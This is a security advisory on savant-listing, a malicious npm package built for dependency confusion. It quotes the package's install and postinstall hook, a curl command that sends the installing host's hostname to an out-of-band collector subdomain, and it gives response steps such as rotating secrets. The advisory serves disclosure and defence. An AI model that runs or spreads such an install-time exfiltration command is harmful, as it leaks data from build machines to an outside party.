savant-listingnpm
Advisory published Updated
savant-listing is a confirmed malicious npm package (MAL-2026-5401) that steals credentials and exfiltrates sensitive data (malicious versions 999.9.9, 999.9.10). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in savant-listing (npm)
What this malware does
[email protected] is a dependency-confusion squat. package.json declares both install and postinstall lifecycle scripts that run curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname), unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every npm install. The version 999.9.9 and description SAFE PoC - Demonstrates dependency confusion are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for savant-listing (2 malicious versions).
If you installed it — respond
savant-listing is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If savant-listing was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks savant-listing-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.